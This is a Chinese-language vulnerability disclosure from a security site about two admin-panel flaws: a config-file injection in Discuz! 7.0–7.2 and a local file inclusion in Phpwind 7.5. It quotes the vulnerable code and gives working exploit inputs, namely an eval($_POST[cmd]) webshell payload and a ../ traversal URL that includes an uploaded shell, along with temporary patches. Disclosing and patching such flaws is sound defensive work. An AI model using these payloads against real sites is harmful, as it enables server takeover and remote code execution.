首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>漏洞资料>文章内容
Discuz!7.0-7.2和Phpwind7.5后台鸡肋漏洞
来源:vfocus.net 作者:vfocus 发布时间:2011-06-07  
很多人有了,流传出来了,然后发出来。现在的漏洞,如果主动公布的,肯定是“无鸡肋不公布”,否则肯定是藏着,除非别人公布了。DZ的鸡肋在于需要创建者的权限(创建者的密码一般比较难搞),pw的鸡肋在于需要截断(或者linux旁注写一个shell到tmp下)。
 
一、discuz后台settings.inc.php中写shell漏洞:
 
漏洞详情:
 
if($operation == ''uc'' && is_writeable(''./config.inc.php'') && $isfounder) {
        $ucdbpassnew = $settingsnew[''uc''][''dbpass''] == ''********'' ? UC_DBPW : $settingsnew[''uc''][''dbpass''];
        if($settingsnew[''uc''][''connect'']) {
            $uc_dblink = @mysql_connect($settingsnew[''uc''][''dbhost''], $settingsnew[''uc''][''dbuser''], $ucdbpassnew, 1);
            if(!$uc_dblink) {
                cpmsg(''uc_database_connect_error'', '''', ''error'');
            } else {
                mysql_close($uc_dblink);
            }
        }
 
        $fp = fopen(''./config.inc.php'', ''r'');
        $configfile = fread($fp, filesize(''./config.inc.php''));
        $configfile = trim($configfile);
        $configfile = substr($configfile, -2) == ''?>'' ? substr($configfile, 0, -2) : $configfile;
        fclose($fp);
 
        $connect = '''';
        if($settingsnew[''uc''][''connect'']) {
            require ''./config.inc.php'';
            $connect = ''mysql'';
            $samelink = ($dbhost == $settingsnew[''uc''][''dbhost''] && $dbuser == $settingsnew[''uc''][''dbuser''] && $dbpw == $ucdbpassnew);
            $samecharset = !($dbcharset == ''gbk'' && UC_DBCHARSET == ''latin1'' || $dbcharset == ''latin1'' && UC_DBCHARSET == ''gbk'');
            $configfile = insertconfig($configfile, "/define\(''UC_DBHOST'',\s*''.*?''\);/i", "define(''UC_DBHOST'', ''".$settingsnew[''uc''][''dbhost'']."'');");//正则表示从''到'')中的被替换,而'')可以被任意提交,from oldjun.com
            $configfile = insertconfig($configfile, "/define\(''UC_DBUSER'',\s*''.*?''\);/i", "define(''UC_DBUSER'', ''".$settingsnew[''uc''][''dbuser'']."'');");
            $configfile = insertconfig($configfile, "/define\(''UC_DBPW'',\s*''.*?''\);/i", "define(''UC_DBPW'', ''".$ucdbpassnew."'');");
            $configfile = insertconfig($configfile, "/define\(''UC_DBNAME'',\s*''.*?''\);/i", "define(''UC_DBNAME'', ''".$settingsnew[''uc''][''dbname'']."'');");
            $configfile = insertconfig($configfile, "/define\(''UC_DBTABLEPRE'',\s*''.*?''\);/i", "define(''UC_DBTABLEPRE'', ''`".$settingsnew[''uc''][''dbname''].''`.''.$settingsnew[''uc''][''dbtablepre'']."'');");
            //$configfile = insertconfig($configfile, "/define\(''UC_LINK'',\s*''?.*?''?\);/i", "define(''UC_LINK'', ".($samelink && $samecharset ? ''TRUE'' : ''FALSE'').");");
        }
        $configfile = insertconfig($configfile, "/define\(''UC_CONNECT'',\s*''.*?''\);/i", "define(''UC_CONNECT'', ''$connect'');");
        $configfile = insertconfig($configfile, "/define\(''UC_KEY'',\s*''.*?''\);/i", "define(''UC_KEY'', ''".$settingsnew[''uc''][''key'']."'');");
        $configfile = insertconfig($configfile, "/define\(''UC_API'',\s*''.*?''\);/i", "define(''UC_API'', ''".$settingsnew[''uc''][''api'']."'');");
        $configfile = insertconfig($configfile, "/define\(''UC_IP'',\s*''.*?''\);/i", "define(''UC_IP'', ''".$settingsnew[''uc''][''ip'']."'');");
$configfile = insertconfig($configfile, "/define\(''UC_APPID'',\s*''?.*?''?\);/i", "define(''UC_APPID'', ''".$settingsnew[''uc''][''appid'']."'');"); 

 

        $fp = fopen(''./config.inc.php'', ''w'');
        if(!($fp = @fopen(''./config.inc.php'', ''w''))) {
            cpmsg(''uc_config_write_error'', '''', ''error'');
        }
        @fwrite($fp, trim($configfile));
        @fclose($fp);
    } 
settings.inc.php对提交的数据缺乏有效过滤,导致可以写入'')污染配置文件的数据,而insertconfig函数的正则匹配无法正确匹配到最后,导致可以经过2次输入可以成功绕过daddslashes把shell写进配置文件。
 
function insertconfig($s, $find, $replace) {
if(preg_match($find, $s)) {
$s = preg_replace($find, $replace, $s);//正则匹配替换数据
} else {
$s .= "\r\n".$replace;
}
return $s;
漏洞测试:
 
步骤一:UC_IP(UC_IP是可选项,随便写入一般不影响程序运行)中写入污染数据:xxx'');eval($_POST[cmd])?>提交;
步骤二:UC_IP随便输入aaa,正则匹配只匹配到了''),于是自动把分号前的闭合了。
 
临时补丁:
 
在if($operation == ''uc'' && is_writeable(''./config.inc.php'') && $isfounder) {下添加:
 
foreach($settingsnew[''uc''] as $key => $value){
$settingsnew[''uc''][$key]=str_replace('')'','''',$value);
}
 
二、phpwind后台本地包含漏洞:
 
漏洞详情:
 
文件:hack\rate\admin.php
源码:
 
<?php
!function_exists(''readover'') && exit(''Forbidden'');
define ( "H_R", R_P . "hack/rate/" );
define ( "L_R", R_P . "lib/" );
InitGP ( array (''ajax'' ) );
$action = strtolower ( ($job) ? $job : "admin" );
$filepath = H_R . "action/" . $action . "Action.php";
 
(! file_exists ( $filepath )) && exit ();
 
if ($job != "ajax") {
    require H_R . ''/template/layout.php'';
} else {
    require_once $filepath;
}
 
?> 
再看看hack\rate\template\layout.php:
 
<?php
!function_exists(''readover'') && exit(''Forbidden'');
include_once PrintEot ( ''left'' );
print <<<EOT
-->
EOT;
require_once $filepath;
include_once PrintEot ( ''adminbottom'' );
?> 
$job可以自定义,触发本地包含,只不过addslashes了,因此不能通过%00截断;但可以通过若干///////截断,或者直接在tmp文件夹下写个shell来包含。具体不多说了,利用办法:
 
漏洞测试:
 
先在tmp下上传一个shell,名为Action.php
然后访问:http://127.0.0.1/pw/admin.php?adminjob=hack&hackset=rate&typeid=100&job=../../../../../../tmp/
 
临时补丁:
 
$filepath = H_R . "action/" . $action . "Action.php";
替换为:
$filepath = Pcv(H_R . "action/" . $action . "Action.php");

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·XSOK环境变量本地命令执行漏洞
·N点虚拟主机管理系统 致命漏洞。
·南方数据企业网站管理系统V10.0
·动网(DVBBS)Version 8.2.0 后
·Solaris 10 telnet漏洞及解决
·破解无线路由器密码,常见无线密
·Nginx %00空字节执行php漏洞
·WinWebMail、7I24提权漏洞
·XPCD xpcd-svga本地缓冲区溢出漏
·Struts2多个漏洞简要分析
·ecshop2.72 api.php 文件鸡肋注
·Discuz!后台拿Webshell 0day
  相关文章
·dedecms 5.7后台拿SHELL
·教育站漏洞批量拿shell
·Hishop 5.4&5.4.1 SQL 注入漏洞E
·Foxmail Server上传漏洞&任意文
·BOSSI 公司(企业)网站管理系统注
·eFront添加管理员CSRF漏洞
·讯时网站管理系统CMS v4.0以下版
·风讯(FoosunCMS) SetNextOptions
·rgboard <=4.2.0 任意文件下载漏
·ecshop最新版 (v272) 本地包含拿
·5UCMS最新注入漏洞
·Zen Cart 商城系统,上传、跨站
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved